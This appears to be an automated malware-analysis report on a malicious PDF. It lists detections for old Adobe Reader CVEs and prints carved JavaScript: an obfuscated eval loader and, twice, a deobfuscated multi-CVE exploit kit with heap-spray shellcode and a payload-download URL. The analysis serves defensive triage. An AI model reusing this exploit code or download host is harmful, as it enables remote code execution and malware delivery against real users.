MALICIOUS
410
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file was flagged as malicious by an ML classifier with very high confidence. Heuristics indicate the presence of embedded JavaScript, which is often used to download and execute further stages of malware. The JavaScript stream itself is the primary IOC, as its content is likely to contain the malicious payload or download URLs.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 10
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://advilmoose.com//FsVXUTP6u-l.php/56b84f215908ce66fc37ea0a94d3e6e2?spl=pdf_2028 Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0011_000.js |
pdf-javascript-stream | PDF /JS object 11 at offset 0xCD1 | 1537 bytes |
SHA-256: 6f56f1329c8a0d0866c5777c6d8c7802be1b2600cb25d85315f299ef96979b35 |
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Preview scriptFirst 1,000 lines of the extracted script
var sdsdf = [ "" , "ev" , "al" ]; d = new String ( sdsdf [ 1 ] + sdsdf [ 2 ] + sdsdf [ 0 ] ) ; var sdrt = [ "p" , "" , "p" , "a" ]; sdftuf = new String ( sdrt [ 3 ] + sdrt [ 0 ] + sdrt [ 0 ] + sdrt [ 1 ] ) ; var google = 109 ; var fsdf = "" ; var sdrtSdfjh = String ; var dsjkgSdsdf = 1 ; var foxit = new String("ge"+"tP"+"ag"+"eN"+"ums9ZN".substr(0,2)+"deXWodXe".substr(3,2)+"zqPrdqzP".substr(3,2)+"s") ; var b = "unes"+"cape" ; var unlock = new String("from"+"GbjChar".substr(3)+"Code2SiP".substr(0,4)) ; function sdsdfSdfj ( getCheck , sdftufEmail ) { return getCheck ^ sdftufEmail ; } var cFsdf = new String("charCB5o3".substr(0,5)+"odeAt") ; var sdrtC = String("getP"+"ageNWOvk".substr(0,4)+"thWoKsx6".substr(0,4)+"rdzfaR".substr(0,2)) ; var emailGoogle = new String("%") ; var fsdfA = 0 ; var sdfjhFoxit = "subsW6yg".substr(0,4)+"PR0tr".substr(3) ; var googleU = 3-1 ; var sdGoogle = this ; var sdftuf = sdGoogle [ sdftuf ] ; var fsdfDs = sdGoogle [ foxit ] ( dsjkgSdsdf ) ; var mailUnlock = sdGoogle [ d ] ; var googleUSend = sdGoogle [ b ] ; for ( var sdrtU = fsdfA ; sdrtU < fsdfDs ; sdrtU++ ) { dsGoogle = sdGoogle [ sdrtC ] ( dsjkgSdsdf , sdrtU ) ; var dSd = dsGoogle [ sdfjhFoxit ] ( dsGoogle . length - googleU , googleU ) ; var arrayFsdf = emailGoogle + dSd ; var adobe = googleUSend ( arrayFsdf ) ; var foxitDs = adobe [ cFsdf ] ( fsdfA ) ; var sdfjhFoxitReader = sdsdfSdfj ( foxitDs , google ) ; fsdf += sdrtSdfjh [ unlock ] ( sdfjhFoxitReader ) ; } mailUnlock ( fsdf ) ;
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legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3442 bytes |
SHA-256: 0977c0eb8618e9a3116220fa8183856db6f2776f52282f877d0959701c060f16 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s).
|
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Preview scriptFirst 1,000 lines of the extracted script
/* getPageWords download URL: http://advilmoose.com//FsVXUTP6u-l.php/56b84f215908ce66fc37ea0a94d3e6e2?spl=pdf_2028 */
var _u="http://advilmoose.com//FsVXUTP6u-l.php/56b84f215908ce66fc37ea0a94d3e6e2?spl=pdf_2028";
var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
var hwTl9Dn = new Array();
function get_shellcode(name) {
var u = get_url();
var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
s+= u;
return unescape(s);
}
function get_url(){
var str = this.info.author;
var ret = encode_str(str, dest_table, src_table);
return ret;
};
function encode_str(str, src_table, dest_table){
var ret="";
for(var i=0; i < str.length; i++)
{
var index = src_table.indexOf(str[i]);
if(index > -1 )
{
ret += dest_table[index];
}
}
return ret;
};
function Rq4v1qCC(PDrScZj4, ez5pL6){
while (PDrScZj4.length * 2 < ez5pL6){
PDrScZj4 += PDrScZj4;
}
PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2); return PDrScZj4;
}
function x8EvTm(I7T0vko5){
var qPBt7D = 0x0c0c0c0c;
NRjjR6W6 = get_shellcode("pdf");
if (I7T0vko5 == 1){qPBt7D = 0x30303030;}
var FeQq1Vv = 0x400000;
var tsSzSc = NRjjR6W6.length * 2; var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);
var PDrScZj4 = unescape("%u9090%u9090");
PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);
var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;
for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){
hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;
}
}
function U2UcYKr(){
var IyIFVe = app.viewerVersion.toString();
if (IyIFVe > 8)
{
x8EvTm(1);
var iVvCdy8 = "12999999999999999999";
for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
{
iVvCdy8 += "8";
}
util.printf("%45000f", iVvCdy8);
}
if (IyIFVe < 8){
x8EvTm(0);
var UNXaCTHb = unescape("%u0c0c%u0c0c");
while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;
this .collabStore = Collab.collectEmailInfo({ subj : "", msg : UNXaCTHb});
}
if (IyIFVe < 9.1){
if (app.doc.Collab.getIcon)
{
x8EvTm(0);
var eGREUTNw = unescape("%09");
while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;
eGREUTNw = "N." + eGREUTNw;
app.doc.Collab.getIcon(eGREUTNw);
}
}
if (IyIFVe == 9.2){
x8EvTm(1);
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
try
{
media.newPlayer(null);
} catch(e)
{}
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}
}
U2UcYKr();
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legacy_pdfkit_stage_001.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3450 bytes |
SHA-256: 17c97f13cda442a57474241568c6be8536d47c07fbc6e3801f3c93f10d22e18f |
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|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s).
|
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Preview scriptFirst 1,000 lines of the extracted script
/* getPageWords download URL: http://advilmoose.com//FsVXUTP6u-l.php/56b84f215908ce66fc37ea0a94d3e6e2?spl=pdf_2028 */
var _u="http://advilmoose.com//FsVXUTP6u-l.php/56b84f215908ce66fc37ea0a94d3e6e2?spl=pdf_2028";
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var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
var hwTl9Dn = new Array();
function get_shellcode(name) {
var u = get_url();
var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
s+= u;
return unescape(s);
}
function get_url(){
var str = this.info.author;
var ret = encode_str(str, dest_table, src_table);
return ret;
};
function encode_str(str, src_table, dest_table){
var ret="";
for(var i=0; i < str.length; i++)
{
var index = src_table.indexOf(str[i]);
if(index > -1 )
{
ret += dest_table[index];
}
}
return ret;
};
function Rq4v1qCC(PDrScZj4, ez5pL6){
while (PDrScZj4.length * 2 < ez5pL6){
PDrScZj4 += PDrScZj4;
}
PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2); return PDrScZj4;
}
function x8EvTm(I7T0vko5){
var qPBt7D = 0x0c0c0c0c;
NRjjR6W6 = get_shellcode("pdf");
if (I7T0vko5 == 1){qPBt7D = 0x30303030;}
var FeQq1Vv = 0x400000;
var tsSzSc = NRjjR6W6.length * 2; var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);
var PDrScZj4 = unescape("%u9090%u9090");
PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);
var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;
for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){
hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;
}
}
function U2UcYKr(){
var IyIFVe = app.viewerVersion.toString();
if (IyIFVe > 8)
{
x8EvTm(1);
var iVvCdy8 = "12999999999999999999";
for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
{
iVvCdy8 += "8";
}
util.printf("%45000f", iVvCdy8);
}
if (IyIFVe < 8){
x8EvTm(0);
var UNXaCTHb = unescape("%u0c0c%u0c0c");
while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;
this .collabStore = Collab.collectEmailInfo({ subj : "", msg : UNXaCTHb});
}
if (IyIFVe < 9.1){
if (app.doc.Collab.getIcon)
{
x8EvTm(0);
var eGREUTNw = unescape("%09");
while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;
eGREUTNw = "N." + eGREUTNw;
app.doc.Collab.getIcon(eGREUTNw);
}
}
if (IyIFVe == 9.2){
x8EvTm(1);
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
try
{
media.newPlayer(null);
} catch(e)
{}
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}
}
U2UcYKr();
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